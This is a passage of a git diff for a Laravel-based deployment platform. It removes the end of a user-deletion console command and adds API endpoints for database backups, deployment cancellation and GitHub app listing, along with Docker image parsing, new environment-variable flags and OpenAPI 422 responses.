= $team->members->count() - 1; - - return [ - $team->id, - $team->name, - $userRole, - $otherMembers, - ]; - })->toArray() - ); - $this->newLine(); - } - - $this->error('⚠️ WARNING: Team changes affect access control and ownership!'); - if (! $this->confirm('Are you sure you want to proceed with these team changes?', false)) { - return false; - } - - if (! $this->isDryRun) { - $this->info('Processing team changes...'); - $result = $action->execute(); - $this->info("Teams deleted: {$result['deleted']}, ownership transferred: {$result['transferred']}, left: {$result['left']}"); - $this->logAction("Team changes for user {$this->user->email}: deleted {$result['deleted']}, transferred {$result['transferred']}, left {$result['left']}"); - } - - return true; - } - - private function cancelStripeSubscriptions(): bool - { - $this->newLine(); - $this->info('═══════════════════════════════════════'); - $this->info('PHASE 5: CANCEL STRIPE SUBSCRIPTIONS'); - $this->info('═══════════════════════════════════════'); - $this->newLine(); - - $action = new CancelSubscription($this->user, $this->isDryRun); - $subscriptions = $action->getSubscriptionsPreview(); - - if ($subscriptions->isEmpty()) { - $this->info('No Stripe subscriptions to cancel.'); - - return true; - } - - $this->info('Stripe subscriptions to cancel:'); - $this->newLine(); - - $totalMonthlyValue = 0; - foreach ($subscriptions as $subscription) { - $team = $subscription->team; - $planId = $subscription->stripe_plan_id; - - // Try to get the price from config - $monthlyValue = $this->getSubscriptionMonthlyValue($planId); - $totalMonthlyValue += $monthlyValue; - - $this->line(" - {$subscription->stripe_subscription_id} (Team: {$team->name})"); - if ($monthlyValue > 0) { - $this->line(" Monthly value: \${$monthlyValue}"); - } - if ($subscription->stripe_cancel_at_period_end) { - $this->line(' ⚠️ Already set to cancel at period end'); - } - } - - if ($totalMonthlyValue > 0) { - $this->newLine(); - $this->warn("Total monthly value: \${$totalMonthlyValue}"); - } - $this->newLine(); - - $this->error('⚠️ WARNING: Subscriptions will be cancelled IMMEDIATELY (not at period end)!'); - if (! $this->confirm('Are you sure you want to cancel all these subscriptions immediately?', false)) { - return false; - } - - if (! $this->isDryRun) { - $this->info('Cancelling subscriptions...'); - $result = $action->execute(); - $this->info("Cancelled {$result['cancelled']} subscriptions, {$result['failed']} failed"); - if ($result['failed'] > 0 && ! empty($result['errors'])) { - $this->error('Failed subscriptions:'); - foreach ($result['errors'] as $error) { - $this->error(" - {$error}"); - } - } - $this->logAction("Cancelled {$result['cancelled']} Stripe subscriptions for user {$this->user->email}"); - } - - return true; - } - - private function deleteUserProfile(): bool - { - $this->newLine(); - $this->info('═══════════════════════════════════════'); - $this->info('PHASE 6: DELETE USER PROFILE'); - $this->info('═══════════════════════════════════════'); - $this->newLine(); - - $this->warn('⚠️ FINAL STEP - This action is IRREVERSIBLE!'); - $this->newLine(); - - $this->info('User profile to be deleted:'); - $this->table( - ['Property', 'Value'], - [ - ['Email', $this->user->email], - ['Name', $this->user->name], - ['User ID', $this->user->id], - ['Created', $this->user->created_at->format('Y-m-d H:i:s')], - ['Email Verified', $this->user->email_verified_at ? 'Yes' : 'No'], - ['2FA Enabled', $this->user->two_factor_confirmed_at ? 'Yes' : 'No'], - ] - ); - - $this->newLine(); - - $this->warn("Type 'DELETE {$this->user->email}' to confirm final deletion:"); - $confirmation = $this->ask('Confirmation'); - - if ($confirmation !== "DELETE {$this->user->email}") { - $this->error('Confirmation text does not match. Deletion cancelled.'); - - return false; - } - - if (! $this->isDryRun) { - $this->info('Deleting user profile...'); - - try { - $this->user->delete(); - $this->info('User profile deleted successfully.'); - $this->logAction("User profile deleted: {$this->user->email}"); - } catch (\Exception $e) { - $this->error('Failed to delete user profile: '.$e->getMessage()); - $this->logAction("Failed to delete user profile {$this->user->email}: ".$e->getMessage()); - - return false; - } - } - - return true; - } - - private function getSubscriptionMonthlyValue(string $planId): int - { - // Try to get pricing from subscription metadata or config - // Since we're using dynamic pricing, return 0 for now - // This could be enhanced by fetching the actual price from Stripe API - - // Check if this is a dynamic pricing plan - $dynamicMonthlyPlanId = config('subscription.stripe_price_id_dynamic_monthly'); - $dynamicYearlyPlanId = config('subscription.stripe_price_id_dynamic_yearly'); - - if ($planId === $dynamicMonthlyPlanId || $planId === $dynamicYearlyPlanId) { - // For dynamic pricing, we can't determine the exact amount without calling Stripe API - // Return 0 to indicate dynamic/usage-based pricing - return 0; - } - - // For any other plans, return 0 as we don't have hardcoded prices - return 0; - } - - private function logAction(string $message): void - { - $logMessage = "[CloudDeleteUser] {$message}"; - - if ($this->isDryRun) { - $logMessage = "[DRY RUN] {$logMessage}"; - } - - Log::channel('single')->info($logMessage); - - // Also log to a dedicated user deletion log file - $logFile = storage_path('logs/user-deletions.log'); - - // Ensure the logs directory exists - $logDir = dirname($logFile); - if (! is_dir($logDir)) { - mkdir($logDir, 0755, true); - } - - $timestamp = now()->format('Y-m-d H:i:s'); - file_put_contents($logFile, "[{$timestamp}] {$logMessage}\n", FILE_APPEND | LOCK_EX); - } -} diff --git a/app/Events/ServerValidated.php b/app/Events/ServerValidated.php new file mode 100644 index 000000000..95a116ebe --- /dev/null +++ b/app/Events/ServerValidated.php @@ -0,0 +1,51 @@ +check() && auth()->user()->currentTeam()) { + $teamId = auth()->user()->currentTeam()->id; + } + $this->teamId = $teamId; + $this->serverUuid = $serverUuid; + } + + public function broadcastOn(): array + { + if (is_null($this->teamId)) { + return []; + } + + return [ + new PrivateChannel("team.{$this->teamId}"), + ]; + } + + public function broadcastAs(): string + { + return 'ServerValidated'; + } + + public function broadcastWith(): array + { + return [ + 'teamId' => $this->teamId, + 'serverUuid' => $this->serverUuid, + ]; + } +} diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 065d7f767..e9c52d2f5 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -17,6 +17,7 @@ use App\Models\Service; use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; +use App\Services\DockerImageParser; use Illuminate\Http\Request; use Illuminate\Validation\Rule; use OpenApi\Attributes as OA; @@ -1512,31 +1513,32 @@ private function create_application(Request $request, $type) if ($return instanceof \Illuminate\Http\JsonResponse) { return $return; } - // Process docker image name and tag for SHA256 digests + // Process docker image name and tag using DockerImageParser $dockerImageName = $request->docker_registry_image_name; $dockerImageTag = $request->docker_registry_image_tag; - // Strip 'sha256:' prefix if user provided it in the tag + // Build the full Docker image string for parsing if ($dockerImageTag) { - $dockerImageTag = preg_replace('/^sha256:/i', '', trim($dockerImageTag)); + $dockerImageString = $dockerImageName.':'.$dockerImageTag; + } else { + $dockerImageString = $dockerImageName; } - // Remove @sha256 from image name if user added it - if ($dockerImageName) { - $dockerImageName = preg_replace('/@sha256$/i', '', trim($dockerImageName)); - } + // Parse using DockerImageParser to normalize the image reference + $parser = new DockerImageParser; + $parser->parse($dockerImageString); - // Check if tag is a valid SHA256 hash (64 hex characters) - $isSha256Hash = $dockerImageTag && preg_match('/^[a-f0-9]{64}$/i', $dockerImageTag); + // Get normalized image name and tag + $normalizedImageName = $parser->getFullImageNameWithoutTag(); - // Append @sha256 to image name if using digest and not already present - if ($isSha256Hash && ! str_ends_with($dockerImageName, '@sha256')) { - $dockerImageName .= '@sha256'; + // Append @sha256 to image name if using digest + if ($parser->isImageHash() && ! str_ends_with($normalizedImageName, '@sha256')) { + $normalizedImageName .= '@sha256'; } // Set processed values back to request - $request->offsetSet('docker_registry_image_name', $dockerImageName); - $request->offsetSet('docker_registry_image_tag', $dockerImageTag ?: 'latest'); + $request->offsetSet('docker_registry_image_name', $normalizedImageName); + $request->offsetSet('docker_registry_image_tag', $parser->getTag()); $application = new Application; removeUnnecessaryFieldsFromRequest($request); @@ -2492,7 +2494,7 @@ public function envs(Request $request) )] public function update_env_by_uuid(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2520,6 +2522,8 @@ public function update_env_by_uuid(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'is_runtime' => 'boolean', + 'is_buildtime' => 'boolean', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); @@ -2715,7 +2719,7 @@ public function create_bulk_envs(Request $request) ], 400); } $bulk_data = collect($bulk_data)->map(function ($item) { - return collect($item)->only(['key', 'value', 'is_preview', 'is_literal']); + return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']); }); $returnedEnvs = collect(); foreach ($bulk_data as $item) { @@ -2726,6 +2730,8 @@ public function create_bulk_envs(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'is_runtime' => 'boolean', + 'is_buildtime' => 'boolean', ]); if ($validator->fails()) { return response()->json([ @@ -2885,7 +2891,7 @@ public function create_bulk_envs(Request $request) )] public function create_env(Request $request) { - $allowedFields = ['key', 'value', 'is_preview', 'is_literal']; + $allowedFields = ['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -2908,6 +2914,8 @@ public function create_env(Request $request) 'is_literal' => 'boolean', 'is_multiline' => 'boolean', 'is_shown_once' => 'boolean', + 'is_runtime' => 'boolean', + 'is_buildtime' => 'boolean', ]); $extraFields = array_diff(array_keys($request->all()), $allowedFields); diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 5871f481a..46282fddb 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -317,6 +317,10 @@ public function database_by_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_by_uuid(Request $request) @@ -593,6 +597,224 @@ public function update_by_uuid(Request $request) ]); } + #[OA\Post( + summary: 'Create Backup', + description: 'Create a new scheduled backup configuration for a database', + path: '/databases/{uuid}/backups', + operationId: 'create-database-backup', + security: [ + ['bearerAuth' => []], + ], + tags: ['Databases'], + parameters: [ + new OA\Parameter( + name: 'uuid', + in: 'path', + description: 'UUID of the database.', + required: true, + schema: new OA\Schema( + type: 'string', + format: 'uuid', + ) + ), + ], + requestBody: new OA\RequestBody( + description: 'Backup configuration data', + required: true, + content: new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + required: ['frequency'], + properties: [ + 'frequency' => ['type' => 'string', 'description' => 'Backup frequency (cron expression or: every_minute, hourly, daily, weekly, monthly, yearly)'], + 'enabled' => ['type' => 'boolean', 'description' => 'Whether the backup is enabled', 'default' => true], + 'save_s3' => ['type' => 'boolean', 'description' => 'Whether to save backups to S3', 'default' => false], + 's3_storage_uuid' => ['type' => 'string', 'description' => 'S3 storage UUID (required if save_s3 is true)'], + 'databases_to_backup' => ['type' => 'string', 'description' => 'Comma separated list of databases to backup'], + 'dump_all' => ['type' => 'boolean', 'description' => 'Whether to dump all databases', 'default' => false], + 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to trigger backup immediately after creation'], + 'database_backup_retention_amount_locally' => ['type' => 'integer', 'description' => 'Number of backups to retain locally'], + 'database_backup_retention_days_locally' => ['type' => 'integer', 'description' => 'Number of days to retain backups locally'], + 'database_backup_retention_max_storage_locally' => ['type' => 'integer', 'description' => 'Max storage (MB) for local backups'], + 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Number of backups to retain in S3'], + 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Number of days to retain backups in S3'], + 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage (MB) for S3 backups'], + ], + ), + ) + ), + responses: [ + new OA\Response( + response: 201, + description: 'Backup configuration created successfully', + content: new OA\JsonContent( + type: 'object', + properties: [ + 'uuid' => ['type' => 'string', 'format' => 'uuid', 'example' => '550e8400-e29b-41d4-a716-446655440000'], + 'message' => ['type' => 'string', 'example' => 'Backup configuration created successfully.'], + ] + ) + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), + ] + )] + public function create_backup(Request $request) + { + $backupConfigFields = ['save_s3', 'enabled', 'dump_all', 'frequency', 'databases_to_backup', 'database_backup_retention_amount_locally', 'database_backup_retention_days_locally', 'database_backup_retention_max_storage_locally', 'database_backup_retention_amount_s3', 'database_backup_retention_days_s3', 'database_backup_retention_max_storage_s3', 's3_storage_uuid']; + + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + // Validate incoming request is valid JSON + $return = validateIncomingRequest($request); + if ($return instanceof \Illuminate\Http\JsonResponse) { + return $return; + } + + $validator = customApiValidator($request->all(), [ + 'frequency' => 'required|string', + 'enabled' => 'boolean', + 'save_s3' => 'boolean', + 'dump_all' => 'boolean', + 'backup_now' => 'boolean|nullable', + 's3_storage_uuid' => 'string|exists:s3_storages,uuid|nullable', + 'databases_to_backup' => 'string|nullable', + 'database_backup_retention_amount_locally' => 'integer|min:0', + 'database_backup_retention_days_locally' => 'integer|min:0', + 'database_backup_retention_max_storage_locally' => 'integer|min:0', + 'database_backup_retention_amount_s3' => 'integer|min:0', + 'database_backup_retention_days_s3' => 'integer|min:0', + 'database_backup_retention_max_storage_s3' => 'integer|min:0', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + if (! $request->uuid) { + return response()->json(['message' => 'UUID is required.'], 404); + } + + $uuid = $request->uuid; + $database = queryDatabaseByUuidWithinTeam($uuid, $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageBackups', $database); + + // Validate frequency is a valid cron expression + $isValid = validate_cron_expression($request->frequency); + if (! $isValid) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['frequency' => ['Invalid cron expression or frequency format.']], + ], 422); + } + + // Validate S3 storage if save_s3 is true + if ($request->boolean('save_s3') && ! $request->filled('s3_storage_uuid')) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The s3_storage_uuid field is required when save_s3 is true.']], + ], 422); + } + + if ($request->filled('s3_storage_uuid')) { + $existsInTeam = S3Storage::ownedByCurrentTeam()->where('uuid', $request->s3_storage_uuid)->exists(); + if (! $existsInTeam) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], + ], 422); + } + } + + // Check for extra fields + $extraFields = array_diff(array_keys($request->all()), $backupConfigFields, ['backup_now']); + if (! empty($extraFields)) { + $errors = $validator->errors(); + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + $backupData = $request->only($backupConfigFields); + + // Convert s3_storage_uuid to s3_storage_id + if (isset($backupData['s3_storage_uuid'])) { + $s3Storage = S3Storage::ownedByCurrentTeam()->where('uuid', $backupData['s3_storage_uuid'])->first(); + if ($s3Storage) { + $backupData['s3_storage_id'] = $s3Storage->id; + } elseif ($request->boolean('save_s3')) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => ['s3_storage_uuid' => ['The selected S3 storage is invalid for this team.']], + ], 422); + } + unset($backupData['s3_storage_uuid']); + } + + // Set default databases_to_backup based on database type if not provided + if (! isset($backupData['databases_to_backup']) || empty($backupData['databases_to_backup'])) { + if ($database->type() === 'standalone-postgresql') { + $backupData['databases_to_backup'] = $database->postgres_db; + } elseif ($database->type() === 'standalone-mysql') { + $backupData['databases_to_backup'] = $database->mysql_database; + } elseif ($database->type() === 'standalone-mariadb') { + $backupData['databases_to_backup'] = $database->mariadb_database; + } + } + + // Add required fields + $backupData['database_id'] = $database->id; + $backupData['database_type'] = $database->getMorphClass(); + $backupData['team_id'] = $teamId; + + // Set defaults + if (! isset($backupData['enabled'])) { + $backupData['enabled'] = true; + } + + $backupConfig = ScheduledDatabaseBackup::create($backupData); + + // Trigger immediate backup if requested + if ($request->backup_now) { + dispatch(new DatabaseBackupJob($backupConfig)); + } + + return response()->json([ + 'uuid' => $backupConfig->uuid, + 'message' => 'Backup configuration created successfully.', + ], 201); + } + #[OA\Patch( summary: 'Update', description: 'Update a specific backup configuration for a given database, identified by its UUID and the backup ID', @@ -666,6 +888,10 @@ public function update_by_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_backup(Request $request) @@ -844,6 +1070,10 @@ public function update_backup(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_postgresql(Request $request) @@ -907,6 +1137,10 @@ public function create_database_postgresql(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_clickhouse(Request $request) @@ -969,6 +1203,10 @@ public function create_database_clickhouse(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_dragonfly(Request $request) @@ -1032,6 +1270,10 @@ public function create_database_dragonfly(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_redis(Request $request) @@ -1095,6 +1337,10 @@ public function create_database_redis(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_keydb(Request $request) @@ -1161,6 +1407,10 @@ public function create_database_keydb(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_mariadb(Request $request) @@ -1227,6 +1477,10 @@ public function create_database_mariadb(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_mysql(Request $request) @@ -1290,6 +1544,10 @@ public function create_database_mysql(Request $request) response: 400, ref: '#/components/responses/400', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_database_mongodb(Request $request) @@ -1941,7 +2199,7 @@ public function delete_by_uuid(Request $request) content: new OA\JsonContent( type: 'object', properties: [ - 'message' => new OA\Schema(type: 'string', example: 'Backup configuration and all executions deleted.'), + new OA\Property(property: 'message', type: 'string', example: 'Backup configuration and all executions deleted.'), ] ) ), @@ -1951,7 +2209,7 @@ public function delete_by_uuid(Request $request) content: new OA\JsonContent( type: 'object', properties: [ - 'message' => new OA\Schema(type: 'string', example: 'Backup configuration not found.'), + new OA\Property(property: 'message', type: 'string', example: 'Backup configuration not found.'), ] ) ), @@ -2065,7 +2323,7 @@ public function delete_backup_by_uuid(Request $request) content: new OA\JsonContent( type: 'object', properties: [ - 'message' => new OA\Schema(type: 'string', example: 'Backup execution deleted.'), + new OA\Property(property: 'message', type: 'string', example: 'Backup execution deleted.'), ] ) ), @@ -2075,7 +2333,7 @@ public function delete_backup_by_uuid(Request $request) content: new OA\JsonContent( type: 'object', properties: [ - 'message' => new OA\Schema(type: 'string', example: 'Backup execution not found.'), + new OA\Property(property: 'message', type: 'string', example: 'Backup execution not found.'), ] ) ), @@ -2171,17 +2429,18 @@ public function delete_execution_by_uuid(Request $request) content: new OA\JsonContent( type: 'object', properties: [ - 'executions' => new OA\Schema( + new OA\Property( + property: 'executions', type: 'array', items: new OA\Items( type: 'object', properties: [ - 'uuid' => ['type' => 'string'], - 'filename' => ['type' => 'string'], - 'size' => ['type' => 'integer'], - 'created_at' => ['type' => 'string'], - 'message' => ['type' => 'string'], - 'status' => ['type' => 'string'], + new OA\Property(property: 'uuid', type: 'string'), + new OA\Property(property: 'filename', type: 'string'), + new OA\Property(property: 'size', type: 'integer'), + new OA\Property(property: 'created_at', type: 'string'), + new OA\Property(property: 'message', type: 'string'), + new OA\Property(property: 'status', type: 'string'), ] ) ), diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index c4d603392..16a7b6f71 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -131,6 +131,161 @@ public function deployment_by_uuid(Request $request) return response()->json($this->removeSensitiveData($deployment)); } + #[OA\Post( + summary: 'Cancel', + description: 'Cancel a deployment by UUID.', + path: '/deployments/{uuid}/cancel', + operationId: 'cancel-deployment-by-uuid', + security: [ + ['bearerAuth' => []], + ], + tags: ['Deployments'], + parameters: [ + new OA\Parameter(name: 'uuid', in: 'path', required: true, description: 'Deployment UUID', schema: new OA\Schema(type: 'string')), + ], + responses: [ + new OA\Response( + response: 200, + description: 'Deployment cancelled successfully.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Deployment cancelled successfully.'], + 'deployment_uuid' => ['type' => 'string', 'example' => 'cm37r6cqj000008jm0veg5tkm'], + 'status' => ['type' => 'string', 'example' => 'cancelled-by-user'], + ] + ) + ), + ]), + new OA\Response( + response: 400, + description: 'Deployment cannot be cancelled (already finished/failed/cancelled).', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Deployment cannot be cancelled. Current status: finished'], + ] + ) + ), + ]), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 403, + description: 'User doesn\'t have permission to cancel this deployment.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'You do not have permission to cancel this deployment.'], + ] + ) + ), + ]), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function cancel_deployment(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $uuid = $request->route('uuid'); + if (! $uuid) { + return response()->json(['message' => 'UUID is required.'], 400); + } + + // Find the deployment by UUID + $deployment = ApplicationDeploymentQueue::where('deployment_uuid', $uuid)->first(); + if (! $deployment) { + return response()->json(['message' => 'Deployment not found.'], 404); + } + + // Check if the deployment belongs to the user's team + $servers = Server::whereTeamId($teamId)->pluck('id'); + if (! $servers->contains($deployment->server_id)) { + return response()->json(['message' => 'You do not have permission to cancel this deployment.'], 403); + } + + // Check if deployment can be cancelled (must be queued or in_progress) + $cancellableStatuses = [ + \App\Enums\ApplicationDeploymentStatus::QUEUED->value, + \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ]; + + if (! in_array($deployment->status, $cancellableStatuses)) { + return response()->json([ + 'message' => "Deployment cannot be cancelled. Current status: {$deployment->status}", + ], 400); + } + + // Perform the cancellation + try { + $deployment_uuid = $deployment->deployment_uuid; + $kill_command = "docker rm -f {$deployment_uuid}"; + $build_server_id = $deployment->build_server_id ?? $deployment->server_id; + + // Mark deployment as cancelled + $deployment->update([ + 'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value, + ]); + + // Get the server + $server = Server::find($build_server_id); + + if ($server) { + // Add cancellation log entry + $deployment->addLogEntry('Deployment cancelled by user via API.', 'stderr'); + + // Check if container exists and kill it + $checkCommand = "docker ps -a --filter name={$deployment_uuid} --format '{{.Names}}'"; + $containerExists = instant_remote_process([$checkCommand], $server); + + if ($containerExists && str($containerExists)->trim()->isNotEmpty()) { + instant_remote_process([$kill_command], $server); + $deployment->addLogEntry('Deployment container stopped.'); + } else { + $deployment->addLogEntry('Deployment container not yet started. Will be cancelled when job checks status.'); + } + + // Kill running process if process ID exists + if ($deployment->current_process_id) { + try { + $processKillCommand = "kill -9 {$deployment->current_process_id}"; + instant_remote_process([$processKillCommand], $server); + } catch (\Throwable $e) { + // Process might already be gone + } + } + } + + return response()->json([ + 'message' => 'Deployment cancelled successfully.', + 'deployment_uuid' => $deployment->deployment_uuid, + 'status' => $deployment->status, + ]); + } catch (\Throwable $e) { + return response()->json([ + 'message' => 'Failed to cancel deployment: '.$e->getMessage(), + ], 500); + } + } + #[OA\Get( summary: 'Deploy', description: 'Deploy by tag or uuid. `Post` request also accepted with `uuid` and `tag` json body.', diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php index 8c8c87238..f6a6b3513 100644 --- a/app/Http/Controllers/Api/GithubController.php +++ b/app/Http/Controllers/Api/GithubController.php @@ -12,6 +12,88 @@ class GithubController extends Controller { + private function removeSensitiveData($githubApp) + { + $githubApp->makeHidden([ + 'client_secret', + 'webhook_secret', + ]); + + return serializeApiResponse($githubApp); + } + + #[OA\Get( + summary: 'List', + description: 'List all GitHub apps.', + path: '/github-apps', + operationId: 'list-github-apps', + security: [ + ['bearerAuth' => []], + ], + tags: ['GitHub Apps'], + responses: [ + new OA\Response( + response: 200, + description: 'List of GitHub apps.', + content: [ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'array', + items: new OA\Items( + type: 'object', + properties: [ + 'id' => ['type' => 'integer'], + 'uuid' => ['type' => 'string'], + 'name' => ['type' => 'string'], + 'organization' => ['type' => 'string', 'nullable' => true], + 'api_url' => ['type' => 'string'], + 'html_url' => ['type' => 'string'], + 'custom_user' => ['type' => 'string'], + 'custom_port' => ['type' => 'integer'], + 'app_id' => ['type' => 'integer'], + 'installation_id' => ['type' => 'integer'], + 'client_id' => ['type' => 'string'], + 'private_key_id' => ['type' => 'integer'], + 'is_system_wide' => ['type' => 'boolean'], + 'is_public' => ['type' => 'boolean'], + 'team_id' => ['type' => 'integer'], + 'type' => ['type' => 'string'], + ] + ) + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + ] + )] + public function list_github_apps(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $githubApps = GithubApp::where(function ($query) use ($teamId) { + $query->where('team_id', $teamId) + ->orWhere('is_system_wide', true); + })->get(); + + $githubApps = $githubApps->map(function ($app) { + return $this->removeSensitiveData($app); + }); + + return response()->json($githubApps); + } + #[OA\Post( summary: 'Create GitHub App', description: 'Create a new GitHub app.', @@ -219,7 +301,8 @@ public function create_github_app(Request $request) schema: new OA\Schema( type: 'object', properties: [ - 'repositories' => new OA\Schema( + new OA\Property( + property: 'repositories', type: 'array', items: new OA\Items(type: 'object') ), @@ -335,7 +418,8 @@ public function load_repositories($github_app_id) schema: new OA\Schema( type: 'object', properties: [ - 'branches' => new OA\Schema( + new OA\Property( + property: 'branches', type: 'array', items: new OA\Items(type: 'object') ), @@ -457,7 +541,7 @@ public function load_branches($github_app_id, $owner, $repo) ), new OA\Response(response: 401, description: 'Unauthorized'), new OA\Response(response: 404, description: 'GitHub app not found'), - new OA\Response(response: 422, description: 'Validation error'), + new OA\Response(response: 422, ref: '#/components/responses/422'), ] )] public function update_github_app(Request $request, $github_app_id) diff --git a/app/Http/Controllers/Api/OpenApi.php b/app/Http/Controllers/Api/OpenApi.php index 60337a76c..69f71feaf 100644 --- a/app/Http/Controllers/Api/OpenApi.php +++ b/app/Http/Controllers/Api/OpenApi.php @@ -40,6 +40,27 @@ new OA\Property(property: 'message', type: 'string', example: 'Resource not found.'), ] )), + new OA\Response( + response: 422, + description: 'Validation error.', + content: new OA\JsonContent( + type: 'object', + properties: [ + new OA\Property(property: 'message', type: 'string', example: 'Validation error.'), + new OA\Property( + property: 'errors', + type: 'object', + additionalProperties: new OA\AdditionalProperties( + type: 'array', + items: new OA\Items(type: 'string') + ), + example: [ + 'name' => ['The name field is required.'], + 'api_url' => ['The api url field is required.', 'The api url format is invalid.'], + ] + ), + ] + )), ], )] class OpenApi diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php index 303e6535d..8f2ba25c8 100644 --- a/app/Http/Controllers/Api/OtherController.php +++ b/app/Http/Controllers/Api/OtherController.php @@ -21,8 +21,9 @@ class OtherController extends Controller new OA\Response( response: 200, description: 'Returns the version of the application', - content: new OA\JsonContent( - type: 'string', + content: new OA\MediaType( + mediaType: 'text/html', + schema: new OA\Schema(type: 'string'), example: 'v4.0.0', )), new OA\Response( @@ -166,8 +167,9 @@ public function feedback(Request $request) new OA\Response( response: 200, description: 'Healthcheck endpoint.', - content: new OA\JsonContent( - type: 'string', + content: new OA\MediaType( + mediaType: 'text/html', + schema: new OA\Schema(type: 'string'), example: 'OK', )), new OA\Response( diff --git a/app/Http/Controllers/Api/ProjectController.php b/app/Http/Controllers/Api/ProjectController.php index e688b8980..951a1f5d9 100644 --- a/app/Http/Controllers/Api/ProjectController.php +++ b/app/Http/Controllers/Api/ProjectController.php @@ -134,6 +134,10 @@ public function project_by_uuid(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function environment_details(Request $request) @@ -214,6 +218,10 @@ public function environment_details(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function create_project(Request $request) @@ -324,6 +332,10 @@ public function create_project(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] public function update_project(Request $request) @@ -425,6 +437,10 @@ public function update_project(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + 